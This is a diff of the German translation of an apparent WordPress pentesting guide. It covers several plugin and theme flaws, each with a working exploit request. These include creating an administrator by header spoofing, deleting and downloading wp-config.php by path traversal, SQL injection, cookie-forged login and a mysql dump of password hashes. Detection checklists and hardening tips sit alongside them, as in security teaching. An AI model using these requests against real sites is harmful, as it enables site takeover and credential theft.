und Ausführen bestimmter Befehle kann eine meterpreter session hergestellt werden, die unautorisierten Zugriff auf die Seite gewährt. -- Es wird darauf hingewiesen, dass dies nur eine von vielen Methoden ist, eine WordPress-Seite auszunutzen. +- Das Metasploit framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des passenden Moduls und Ausführen spezifischer Befehle kann eine meterpreter-Session hergestellt werden, die unbefugten Zugriff auf die Seite ermöglicht. +- Dies ist nur eine von vielen Methoden, um eine WordPress-Seite auszunutzen. -Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. beim pentesting mit ausdrücklicher Genehmigung. +Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise ohne ausdrückliche Genehmigung illegal und unethisch ist. Diese Informationen sollten verantwortungsvoll und nur in einem legalen Kontext verwendet werden, z. B. bei Penetrationstests mit ausdrücklicher Erlaubnis. -**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## Von XSS zu RCE +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle zu eskalieren zu **Remote Code Execution (RCE)** oder anderen kritischen Schwachstellen in WordPress. Für mehr Infos siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für Wordpress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:** -- _**Privilege Escalation:**_ Erstellt einen Benutzer in WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lade dein custom plugin (backdoor) nach WordPress hoch. -- _**(RCE) Built-In Plugin Edit:**_ Bearbeite eingebaute Plugins in WordPress. -- _**(RCE) Built-In Theme Edit:**_ Bearbeite eingebaute Themes in WordPress. -- _**(Custom) Custom Exploits:**_ Eigene Exploits für Drittanbieter-WordPress-Plugins/-Themes. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Vulnerability zu **Remote Code Execution (RCE)** oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Informationen siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:** +- _**Privilege Escalation:**_ Erstellt einen User in WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lädt dein custom Plugin (Backdoor) in WordPress hoch. +- _**(RCE) Built-In Plugin Edit:**_ Editiert eingebaute Plugins in WordPress. +- _**(RCE) Built-In Theme Edit:**_ Editiert eingebaute Themes in WordPress. +- _**(Custom) Custom Exploits:**_ Custom Exploits für Third-Party WordPress Plugins/Themes. ## Post Exploitation -Extrahiere Benutzernamen und Passwörter: +Benutzernamen und Passwörter extrahieren: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -335,25 +335,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Angriffsfläche -Es ist entscheidend zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen freigibt, um Schwachstellen in dieser Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen kann, sehen Sie in den folgenden Stichpunkten; Beispiele verwundbarer Plugins finden Sie in [**diesem Blogpost**](https://nowotarski.info/wordpress-nonce-authorization/). +Zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen legt, ist entscheidend, um Schwachstellen in dieser Funktionalität zu finden. Sie können sehen, wie ein Plugin Funktionalität exponieren kann, in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer exponieren kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle). +Eine Möglichkeit, wie ein Plugin Funktionen für Benutzer offenlegt, sind AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, das **jeder im Wordpress-System authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle). -Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin nach außen zu exponieren: +Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Die Verwendung von `nopriv` macht den endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).** +**Die Verwendung von `nopriv` macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).** > [!CAUTION] -> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, überprüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf hochprivilegierte Aktionen erhalten. +> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, stellt diese nur fest, dass der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf Aktionen mit hohen Rechten erhalten. - **REST API** -Es ist auch möglich, Funktionen aus wordpress über die Registrierung einer REST API mit der Funktion `register_rest_route` freizulegen: +Es ist auch möglich, Funktionen von wordpress offenzulegen, indem man eine REST API mit der Funktion `register_rest_route` registriert: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -Der `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen. +Die `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen. -**Wenn die eingebaute Funktion `__return_true` verwendet wird, überspringt sie einfach die Überprüfung der Benutzerberechtigungen.** +**Wenn die eingebaute Funktion `__return_true` verwendet wird, überspringt sie einfach die Benutzerberechtigungsprüfung.** -- **Direkter Zugriff auf die PHP-Datei** +- **Direkter Zugriff auf die php-Datei** -Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität offenlegt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie von jedem Benutzer ausnutzbar. +Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, kann sie von jedem Benutzer ausgenutzt werden. -### Trusted-header REST-Identitätsvortäuschung (WooCommerce Payments ≤ 5.6.1) +### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Einige Plugins implementieren “trusted header”-Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptographisch an die Anfrage durch eine vorgelagerte Komponente gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator aufrufen. +Einige Plugins implementieren „trusted header“-Shortcuts für interne Integrationen oder reverse proxies und verwenden dann diesen Header, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptografisch an die Anfrage durch eine upstream component gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator ansprechen. -- Auswirkung: Unauthentifizierte Privilegieneskalation zum Admin, indem ein neuer Administrator über die core users REST-Route erstellt wird. -- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto). -- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem erhöhten role-Array. +- Auswirkung: unauthenticated privilege escalation to admin durch die Erstellung eines neuen Administrators über die core users REST route. +- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt User-ID 1, typischerweise das erste Administrator-Konto). +- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem elevated role array. PoC ```http @@ -391,31 +391,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -Why it works +Warum es funktioniert -- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht capability-Prüfungen. -- WordPress core erwartet die `create_users`-capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt. +- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und überspringt Berechtigungsprüfungen. +- Der WordPress-Core erwartet die `create_users`-Capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt. -Expected success indicators +Erwartete Erfolgshinweise - HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt. - Ein neuer Admin-Benutzer sichtbar in `wp-admin/users.php`. -Detection checklist +Erkennungs-Checkliste -- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']`, oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z.B. `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']`, oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`). - Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Header vertrauen. -- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur durch Header-Werte abgesichert sind. +- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) in REST-Handlern, die nur durch Header-Werte geschützt sind. -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) +### Nicht authentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: +WordPress-Themes und -Plugins machen häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_` verfügbar. Wenn die **_nopriv_**-Variante verwendet wird **ist der Callback für nicht authentifizierte Besucher erreichbar**, daher muss jede sensible Aktion zusätzlich implementieren: -1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and -2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and -3. **Strict input sanitisation / validation**. +1. Eine **Capability-Prüfung** (z. B. `current_user_can()` oder zumindest `is_user_logged_in()`), und +2. Eine **CSRF-Nonce** validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und +3. **Strikte Eingabesanitisierung / -validierung**. -The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): +Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der *Remove Font Family* Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,37 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Probleme, die durch diesen Ausschnitt entstehen: +Issues introduced by this snippet: -* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered. -* **No nonce / capability check** – jeder Besucher kann den Endpoint aufrufen. -* **No path sanitisation** – der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filter an einen Dateisystempfad angehängt, wodurch klassisches `../../`-Traversal möglich ist. +* **Nicht authentifizierter Zugriff** – the `wp_ajax_nopriv_` hook is registered. +* **No nonce / capability check** – jeder Besucher kann den Endpunkt aufrufen. +* **No path sanitisation** – der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filter an einen Dateisystempfad angehängt, was klassisches `../../` Traversal ermöglicht. -#### Ausnutzung +#### Exploitation -Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads base directory** (normalerweise `/wp-content/uploads/`) durch das Senden einer einzigen HTTP POST-Anfrage löschen: +Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads-Stammverzeichnisses** (normally `/wp-content/uploads/`) indem er eine einzelne HTTP POST-Anfrage sendet: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Da `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten* und ermöglicht eine komplette Übernahme der Seite (der Angreifer liefert einfach eine neue DB-Konfiguration und erstellt einen Admin-Benutzer). +Weil `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installation Wizard*, wodurch eine vollständige Übernahme der Seite möglich wird (der Angreifer liefert lediglich eine neue DB-Konfiguration und erstellt einen Admin-Benutzer). -Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu sabotieren) oder `.htaccess`-Regeln. +Andere wirkungsvolle Ziele umfassen plugin/theme `.php` files (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln. -#### Checkliste zur Erkennung +#### Erkennungs-Checkliste -* Jeder `add_action( 'wp_ajax_nopriv_...')` Callback, der Filesystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft. -* Konkatenation unsanitisierten Nutzer-Inputs in Pfade (Achte auf `$_POST`, `$_GET`, `$_REQUEST`). -* Fehlen von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`. +* Jede `add_action( 'wp_ajax_nopriv_...')` Callback-Funktion, die Dateisystem-Helfer (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft. +* Konkatenation unsanitierter Benutzereingaben in Pfaden (nach `$_POST`, `$_GET`, `$_REQUEST` suchen). +* Fehlendes `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`. --- -### Privilegieneskalation durch veraltete Rollenzurücksetzung und fehlende Autorisierung (ASE "View Admin as Role") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Viele Plugins implementieren eine "view as role" oder temporäre Rollentausch-Funktion, indem sie die ursprünglichen Rolle(n) im user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungsweg ausschließlich auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer plugin-gepflegten Liste beruht, ohne capabilities und einen gültigen nonce zu prüfen, führt das zu einer vertikalen Privilegieneskalation. +Viele Plugins implementieren eine "view as role" oder temporäre Rollenwechsel-Funktion, indem sie die ursprünglichen Rolle(n) in user meta speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad ausschließlich auf Request-Parametern (z.B. `$_REQUEST['reset-for']`) und einer vom Plugin verwalteten Liste beruht, ohne Capabilities und ein gültiges Nonce zu prüfen, führt das zu einer vertical privilege escalation. -Ein reales Beispiel fand sich im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1). Der Reset-Zweig stellte Rollen anhand von `reset-for=` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die in user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden: +Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder einen `current_user_can()`-Check noch eine Nonce-Verifizierung durch, bevor die aktuellen Rollen entfernt und die in user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen erneut hinzugefügt wurden: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -483,9 +483,9 @@ Warum es ausnutzbar ist - Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung. - Wenn ein Benutzer zuvor höhere Privilegien in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. -- In einigen Deployments konnte jeder authentifizierte Benutzer ein Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung). +- In manchen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung). -Exploitation (Beispiel) +Exploitation (example) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -493,23 +493,23 @@ Exploitation (Beispiel) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten “original roles” (z. B. `administrator`) wieder hinzu, wodurch effektiv privilege escalation erfolgt. +Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen (z. B. `administrator`) wieder hinzu, wodurch effektiv Privilegien eskaliert werden. Detection checklist -- Suchen Sie nach role-switching-Funktionen, die “original roles” im user meta speichern (z. B. `_asenha_view_admin_as_original_roles`). -- Identifizieren Sie Reset/Restore-Pfade, die: -- Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen. -- Rollen über `add_role()` / `remove_role()` ändern, ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` zu verwenden. -- Auf Basis eines Plugin-Options-Arrays autorisieren (z. B. `viewing_admin_as_role_are`) statt anhand der capabilities des Akteurs. +- Achte auf role-switching-Features, die “original roles” in user meta persistieren (z. B. `_asenha_view_admin_as_original_roles`). +- Identifiziere Reset-/Restore-Pfade, die: +- Lese Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST`. +- Ändere Rollen via `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()`. +- Authorisiere basierend auf einem Plugin-Options-Array (z. B. `viewing_admin_as_role_are`) statt auf den Fähigkeiten des Akteurs. --- -### Nicht authentifizierte privilege escalation via cookie‑trusted user-switching on public init (Service Finder “sf-booking”) +### Nicht authentifizierte Privilegieneskalation durch cookie‑vertrauenswürdiges User-Switching am öffentlichen init (Service Finder “sf-booking”) -Einige Plugins binden user-switching-Hilfsfunktionen an den öffentlichen `init` Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und einen gültigen Nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige User-ID erzwingen. +Einige Plugins hängen user-switching-Hilfsfunktionen an den öffentlichen `init`-Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und ein gültiges nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige Benutzer-ID erzwingen. -Typisches vulnerables Muster (vereinfacht aus Service Finder Bookings ≤ 6.1): +Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Warum es ausnutzbar ist -- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (keine `is_user_logged_in()`-Abfrage). -- Die Identität wird aus einem vom Client änderbaren Cookie (`original_user_id`) abgeleitet. -- Direkter Aufruf von `wp_set_auth_cookie($uid)` meldet den Anfragenden als diesen Benutzer an, ohne Capability- oder Nonce-Prüfungen. +- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (kein `is_user_logged_in()`-Schutz). +- Die Identität wird aus einem vom Client veränderbaren Cookie (`original_user_id`) abgeleitet. +- Ein direkter Aufruf von `wp_set_auth_cookie($uid)` meldet den Anfragenden als diesen Benutzer an, ohne Capability-/Nonce-Prüfungen. -Exploitation (unauthenticated) +Ausnutzung (nicht authentifiziert) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,34 +554,34 @@ Connection: close ``` --- -### WAF-Überlegungen für WordPress/plugin CVEs +### WAF-Überlegungen für WordPress-/Plugin-CVEs -Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochwirksame WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik- oder auth-Fehler, die wie harmloser Traffic aussehen, sofern die Engine WordPress-Routen und Plugin-Semantik nicht versteht. +Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) ausgelegt. Viele hochkritische WordPress-/Plugin-Schwachstellen sind anwendungsspezifische Logik-/auth-Bugs, die wie harmloser Traffic aussehen, sofern die Engine nicht WordPress-Routen und Plugin-Semantik versteht. Offensive Hinweise -- Ziele plugin-spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Teste zuerst unauth-Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, öffentliche shortcodes). Standard-Payloads funktionieren oft ohne Verschleierung. -- Typische hochwirksame Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- Ziele plugin-spezifische Endpunkte mit sauberen payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Teste zuerst unauth-Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, öffentliche shortcodes). Default payloads gelingen oft ohne obfuscation. +- Typische hochkritische Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive Hinweise -- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz von plugin-CVEs. Implementiere application-layer, vulnerability-specific virtual patches oder aktualisiere schnell. -- Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) gegenüber negativen Regex-Filtern. +- Verlass dich nicht auf generische WAF-Signaturen zum Schutz von Plugin-CVEs. Implementiere auf Anwendungsebene abgestimmte, schwachstellenspezifische virtuelle Patches oder aktualisiere schnell. +- Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Input-Validierung) statt negativer regex-Filter. ## WordPress-Schutz ### Regelmäßige Updates -Stelle sicher, dass WordPress, plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Updating in wp-config.php aktiviert ist: +Stelle sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Aktualisieren in wp-config.php aktiviert ist: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Außerdem **installiere nur vertrauenswürdige WordPress-Plugins und -Themes**. +Also, **installiere außerdem nur vertrauenswürdige WordPress-Plugins und Themes**. -### Security Plugins +### Sicherheits-Plugins - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) @@ -589,16 +589,16 @@ Außerdem **installiere nur vertrauenswürdige WordPress-Plugins und -Themes**. ### **Weitere Empfehlungen** -- Entferne den Standard-**admin**-Benutzer +- Entferne den Standardbenutzer **admin** - Verwende **starke Passwörter** und **2FA** - Überprüfe regelmäßig die **Berechtigungen** der Benutzer -- **Begrenze Anmeldeversuche**, um Brute Force-Angriffe zu verhindern -- Benenne die Datei **`wp-admin.php`** um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen. +- Begrenze **Login-Versuche**, um Brute Force attacks zu verhindern +- Benenne die Datei `wp-admin.php` um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen. -### Nicht authentifizierte SQL Injection aufgrund unzureichender Validierung (WP Job Portal <= 2.3.2) +### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -Das WP Job Portal Recruitment-Plugin hat eine **savecategory**-Aufgabe offengelegt, die letztlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt: +Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe zur Verfügung, die letztendlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Durch diesen Codeausschnitt verursachte Probleme: +Probleme, die durch diesen Ausschnitt entstehen: -1. **Ungefilterte Benutzereingabe** – `parentid` kommt direkt aus der HTTP-Anfrage. -2. **String-Konkatenation innerhalb der WHERE-Klausel** – keine `is_numeric()` / `esc_sql()` / prepared statement. -3. **Nicht authentifizierte Erreichbarkeit** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), das jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet. +1. **Unsanitised user input** – `parentid` kommt direkt aus der HTTP-Anfrage. +2. **String concatenation inside the WHERE clause** – keine `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Kontrolle ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode `[wpjobportal_my_resumes]` abrufen kann. -#### Ausnutzung +#### Exploitation -1. Einen frischen Nonce abrufen: +1. Grab a fresh nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Arbiträres SQL injizieren, indem `parentid` missbraucht wird: +2. Inject arbitrary SQL by abusing `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Die Antwort offenbart das Ergebnis der injizierten Abfrage oder verändert die Datenbank, was die SQLi beweist. +Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank, was SQLi beweist. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, beliebige Dateien auf der Festplatte via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, **jede Datei auf der Festplatte** via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` wird vom Angreifer kontrolliert und ohne Bereinigung zusammengefügt. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der Resume-Seite abgerufen werden kann. +`$file_name` wird vom Angreifer kontrolliert und ohne **Sanitierung** verkettet. Wieder ist die einzige Hürde ein **CSRF nonce**, das von der resume page abgerufen werden kann. -#### Exploitation +#### Ausnutzung ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -650,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials und auth keys. +Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials and auth keys. -## Unauthenticated account takeover via Social Login AJAX fallback 